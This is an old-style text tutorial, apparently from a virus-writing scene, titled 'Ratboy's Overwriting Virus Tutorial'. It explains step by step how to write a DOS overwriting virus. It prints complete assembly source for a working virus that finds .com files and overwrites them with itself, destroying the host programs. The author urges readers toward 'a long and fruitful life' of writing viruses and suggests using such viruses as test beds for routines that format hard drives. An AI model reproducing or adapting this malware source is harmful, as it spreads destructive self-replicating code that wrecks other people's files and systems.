295 lines
12 KiB
Plaintext
295 lines
12 KiB
Plaintext
|
/\---/\ RATBOY'S OVERWRITING VIRUS TUTORIAL
|
||
|
|
( . . )
|
||
|
|
\ / WARNING: The information contain within here can be
|
||
|
|
\ / ^^^^^^^ dangerous to you mind and computer!!!!!!!!
|
||
|
|
\*/ I assume no responsiblity!!!!!!!!!
|
||
|
|
#
|
||
|
|
|
||
|
|
Well here it is my first instructional tutorial. I felt it was
|
||
|
|
nesscary for this file since I could not find any tutorials that taught
|
||
|
|
virus writing from the basic overwriting virus. Well that's how I started
|
||
|
|
and now I want to show you. So that you too can have a long and fruitful
|
||
|
|
life of codeing viruses. :)
|
||
|
|
|
||
|
|
OVERWRITING VIRUSES
|
||
|
|
|
||
|
|
-=What is an overwritting virus?
|
||
|
|
|
||
|
|
I'm glad you asked that. :) An overwriting virus is a virus that reproduces
|
||
|
|
by overwriting the first parts of a program with itself. Here is an example:
|
||
|
|
|
||
|
|
+-------------------------+ (I got this example from
|
||
|
|
| P R O G R A M | 40Hex, thanks P/S!!!!)
|
||
|
|
+-------------------------+
|
||
|
|
plus:
|
||
|
|
+--------+
|
||
|
|
| VIRUS! |
|
||
|
|
+--------+
|
||
|
|
equals:
|
||
|
|
|
||
|
|
+--------+----------------+
|
||
|
|
| VIRUS! | G R A M |
|
||
|
|
+--------+----------------+
|
||
|
|
|
||
|
|
As you can see the first part of the program was overwritten with
|
||
|
|
the virus code. Since important parts of the original program are
|
||
|
|
effectivly destroyed it won't ever run, but the virus code will.
|
||
|
|
As you can guess overwriting viruses are very destructive and not very
|
||
|
|
productive. But you must learn to walk before you can do the Polka!!
|
||
|
|
|
||
|
|
|
||
|
|
-=So what does one need to know to write an overwriting virus?
|
||
|
|
Another question I'm glad you asked. :) Well having a basic knowledge in
|
||
|
|
Assembly is a must, but it is not very differcult. As a virus writer, I
|
||
|
|
only know one programing language, Assembly. I didn't even learn BASIC.
|
||
|
|
So don't listen to those that say don't learn Assembly, it's a wonderful
|
||
|
|
programing language. At the end of this file I'll be recomending books and
|
||
|
|
things to do to help ya on your way to Assembly and virus writing.
|
||
|
|
|
||
|
|
Well let's get down to codeing!!!! :)
|
||
|
|
We will be dealing with .Com files. So here is the basic setup for a .Com
|
||
|
|
file in an Assembly source file:
|
||
|
|
-----------------------------------------------------------------------------
|
||
|
|
CODE SEGMENT
|
||
|
|
ASSUME CS:CODE,DS:CODE ;in .Com files the data, code, extra
|
||
|
|
;and stack segments are all the same.
|
||
|
|
ORG 100H ;this is where all .Com files start
|
||
|
|
;in memory. This allows room for the
|
||
|
|
;PSP.
|
||
|
|
STARTVX PROC NEAR
|
||
|
|
|
||
|
|
blah! ;all your virus body goes here
|
||
|
|
blah!
|
||
|
|
blah!
|
||
|
|
STARTVX ENDP
|
||
|
|
blah! ;all your 'db's go here etc..etc...
|
||
|
|
CODE ENDS
|
||
|
|
END STARTVX
|
||
|
|
-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
See the set up isn't really hard to follow, but the lack of info in that
|
||
|
|
example can be confusing. We'll get to a full Virus source code a little
|
||
|
|
later.
|
||
|
|
Now what is the basic setup for a simple overwriting virus? Well
|
||
|
|
let's look at the order of operations:
|
||
|
|
|
||
|
|
(1) find a file
|
||
|
|
(2) open the found file
|
||
|
|
(3) write the virus to the opened file (infect it)
|
||
|
|
(4) close the file
|
||
|
|
(5) exit
|
||
|
|
|
||
|
|
Well as you can see there is nothing but pure replication functions in this
|
||
|
|
setup. Well I wanted it to be easy and not to boog you down with encryption,
|
||
|
|
id bytes, etc... We are dealing with ZEN and the art of basic viruses!
|
||
|
|
|
||
|
|
Here we go looking at these steps of an simple overwriting virus:
|
||
|
|
|
||
|
|
(1) FIND FIRST FILE!
|
||
|
|
the inputs:
|
||
|
|
|
||
|
|
AH: 4EH
|
||
|
|
CX: FILE ATTRIBUTES
|
||
|
|
DX: OFFSET ADDRESS OF FILE NAME
|
||
|
|
DS: SEGMENT ADDRESS OF FILE NAME
|
||
|
|
|
||
|
|
Now let's see how we would put this into our little program:
|
||
|
|
|
||
|
|
mov ah,4eh ;find first service
|
||
|
|
mov cx,0000h ;we 0'ed cx for normal files
|
||
|
|
mov dx,offset star_com ;the file mask for .Com file
|
||
|
|
;you'll see
|
||
|
|
int 21h
|
||
|
|
;now of course when you said star_com you need to tell the Assembler what
|
||
|
|
;you are talking about. Here it is:
|
||
|
|
|
||
|
|
star_com: db "*.com",0
|
||
|
|
|
||
|
|
;ya see how it will work. With the use of the wild card '*' the first file
|
||
|
|
;that has the ending of .com will be found. This is easy isn't it?
|
||
|
|
|
||
|
|
Now you can see that we didn't need to touch DS: since CS=DS=ES=SS.
|
||
|
|
So the Star_com already was in the Data Segment. Yay!!!!! Love em .Com
|
||
|
|
files. Sorry need to get back on track.
|
||
|
|
|
||
|
|
Now before we can go on and talk about open a found file for writing
|
||
|
|
to(infecting), we must talk about the Disk Transfer Area (DTA). When you
|
||
|
|
find that first file, information about the file found goes into the DTA,
|
||
|
|
everything from file name to date of creation. Here's the setup:
|
||
|
|
|
||
|
|
0h db 21 dup(0) ;reserved for DOS uses
|
||
|
|
15h db 00 ;file attributes
|
||
|
|
16h dw 0000 ;file time
|
||
|
|
18h dw 0000 ;file date
|
||
|
|
1ah dd 00000000 ;file size
|
||
|
|
1eh db 13 dup(0) ;asciiz of the file name.
|
||
|
|
|
||
|
|
That is the layout of the DTA. Now the DTA lies in the PSP. The
|
||
|
|
first 256 (100h) bytes infront of the .Com file. It's address is 80h.
|
||
|
|
Most of the time in virus writing, you would want to move the DTA to a
|
||
|
|
location where you can manipulate it without possbile messing up the PSP.
|
||
|
|
Well for our case, with a simple overwriting virus, we don't need to worry.
|
||
|
|
All we are going to do is read from the DTA, the file name we just have
|
||
|
|
found. Now this is how we will address the file name, now we know that
|
||
|
|
the DTA starts at 80h, and we know that at 1eh from the DTA's begining is
|
||
|
|
the asciiz of the file name. So we just add them together and see what we
|
||
|
|
get, 80h + 1eh = 9eh. Well that is were it's located, now let's move on
|
||
|
|
to the next step.
|
||
|
|
|
||
|
|
(2) OPENING THE FOUND FILE!
|
||
|
|
the inputs:
|
||
|
|
|
||
|
|
AH: 3DH
|
||
|
|
AL: 00H ;opened for reading only
|
||
|
|
01H ;opened for writing only
|
||
|
|
02H ;opened for both reading and writing
|
||
|
|
DX: OFFSET ADDRESS OF THE FILE NAME
|
||
|
|
DS: SEGMENT ADDRESS OF THE FILE NAME
|
||
|
|
|
||
|
|
outputs:
|
||
|
|
AX: FILE HANDLE
|
||
|
|
|
||
|
|
Now look at it setup in the format we need to know.
|
||
|
|
|
||
|
|
mov ah,3dh ;open file
|
||
|
|
mov al,02h ;open it for reading and writing
|
||
|
|
mov dx,9eh ;remember this is where the name in the DTA
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
Now Dos services will return a file handle of the file we just opened. The
|
||
|
|
file handle is nothing more than a number that dos uses to know where it
|
||
|
|
will read from(the file) or write to(the file). We don't want it in AX
|
||
|
|
since the next step that you will see we need it in BX. Here's a easy way
|
||
|
|
to move it:
|
||
|
|
|
||
|
|
xchg bx,ax ;that will put the file handle into bx in one
|
||
|
|
;step!!!
|
||
|
|
|
||
|
|
Ok now the down and dirty stuff. Infecting the file we just opened. Ha ha!
|
||
|
|
|
||
|
|
(3)WRITING TO THE OPENED FILE(INFECTING)
|
||
|
|
the inputs:
|
||
|
|
|
||
|
|
AH: 40H
|
||
|
|
BX: FILE HANDLE
|
||
|
|
CX: BYTES TO WRITE
|
||
|
|
DX: OFFSET OF ADDRESS OF THE BEGINING OF THE VIRUS
|
||
|
|
|
||
|
|
Here we go again with seeing what it will look like:
|
||
|
|
|
||
|
|
mov ah,40h
|
||
|
|
mov cx,offset endvx - offset startvx ;this will find the virus
|
||
|
|
;lenth, how many bytes to
|
||
|
|
;write....
|
||
|
|
mov dx,offset startvx ;where the virus starts
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
Ahhhhhhhhh! I always feel so relaxed after reproducing....ahh.hh...h!
|
||
|
|
Oh...where was I, a...well now that we have copied the virus to the file,
|
||
|
|
now we can close it up.
|
||
|
|
|
||
|
|
(4)CLOSE THE FILE! ;Whata-ya live in a barn!
|
||
|
|
the inputs:
|
||
|
|
AX: 3EH
|
||
|
|
BX: FILE HANDLE
|
||
|
|
|
||
|
|
Now before we go on remember how after we opened the file that we
|
||
|
|
put the file handle in BX. So since we didn't mess with BX we should just
|
||
|
|
have to:
|
||
|
|
|
||
|
|
mov ah,3eh
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
Now for the final and last step the exiting. Here ya go:
|
||
|
|
(5)EXIT!
|
||
|
|
|
||
|
|
int 20h
|
||
|
|
|
||
|
|
Well I know it isn't really pretty, but it works.
|
||
|
|
Well let's look at how all of it fits together:
|
||
|
|
|
||
|
|
-----------------------------------------------------------------------------
|
||
|
|
Code Segment
|
||
|
|
Assume CS:code,DS:code
|
||
|
|
Org 100h
|
||
|
|
|
||
|
|
startvx proc near
|
||
|
|
|
||
|
|
mov ah,4eh
|
||
|
|
mov cx,0000h
|
||
|
|
mov dx,offset star_com
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3dh
|
||
|
|
mov al,02h
|
||
|
|
mov dx,9eh
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
xchg bx,ax
|
||
|
|
|
||
|
|
mov ah,40h
|
||
|
|
mov cx,offset endvx - offset startvx
|
||
|
|
mov dx,offset startvx
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3eh
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
int 20h
|
||
|
|
|
||
|
|
startvx endp
|
||
|
|
|
||
|
|
star_com: db "*.com",0
|
||
|
|
|
||
|
|
endvx label near
|
||
|
|
|
||
|
|
code ends
|
||
|
|
end startvx
|
||
|
|
|
||
|
|
-----------------------------------------------------------------------------
|
||
|
|
Sorry I didn't put comments in, but that was done so that if you can
|
||
|
|
not read along and follow what is going on. You need to re-read this file,
|
||
|
|
and practice more Assembly.
|
||
|
|
|
||
|
|
-=Now that I know overwriting virus programing what can I use them for?
|
||
|
|
Another fine question. :) Overwriting viruses are simple, and being simple
|
||
|
|
they are fairly easy to follow and program. That in it's self will help
|
||
|
|
educate you in the basics of a virus, writing, reading, find file, etc....
|
||
|
|
Also since it's fairly easy to write up an overwriting virus you can use them
|
||
|
|
as test platforms for other routines. Formating HD's, visual displays,
|
||
|
|
encryption, etc..... This is so that you can concentrate on the how
|
||
|
|
the test routine will work not the virus.
|
||
|
|
|
||
|
|
-=Now that I have the basics, is that all I need?
|
||
|
|
OH No, there are many things that you need, the knowledge being the hardest.
|
||
|
|
Read Assembler Inside and Out, and Using Assembly, they're really good books.
|
||
|
|
You need, an Assembler(A86+TASM), lot's of source codes to learn from(some
|
||
|
|
included). It just dosen't stop there, you will need a some really good
|
||
|
|
virus scanners to track what your virus is doing. F-prot and Tbav are
|
||
|
|
great, but if you come up with a virus that is unscannerable they won't work.
|
||
|
|
That's why I highly recommend INVIRCIBLE. It will protect you from real
|
||
|
|
screw ups, track your virus movement, even unscannibles, even protect you
|
||
|
|
from your 'friends' viruses on you computer >:>. It's the best anti-virus
|
||
|
|
protection out there, you need to know your enemy, and it's a powerful tool.
|
||
|
|
The biggest and most important thing you can have is people that are helpful
|
||
|
|
enough to take the time to answer the questions that form in your mind. You
|
||
|
|
will see some of those people in the closing credits of this file. Talk to
|
||
|
|
them.
|
||
|
|
|
||
|
|
Now you are on to a long and fruitful life of making your
|
||
|
|
own viruses. Remember pratice, ask questions, read and
|
||
|
|
of course have fun!!!!!!!
|
||
|
|
|
||
|
|
*****************************************************************************
|
||
|
|
|
||
|
|
Now I would like to take the time to thank a few people:
|
||
|
|
|
||
|
|
-=*God, for making me possible
|
||
|
|
-=*My Wife, for putting up with me!!
|
||
|
|
-=*FC, thanks for all the info and help, dude!!!
|
||
|
|
-=*Invircible, yea I know it's a piece of software, but it has covered my but
|
||
|
|
enough times. Thanks Mike!!!!!!!!!!!!!!!!!
|
||
|
|
-=*Aristotle, yea Aristotle, the dude help start me out.
|
||
|
|
-=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc..
|
||
|
|
|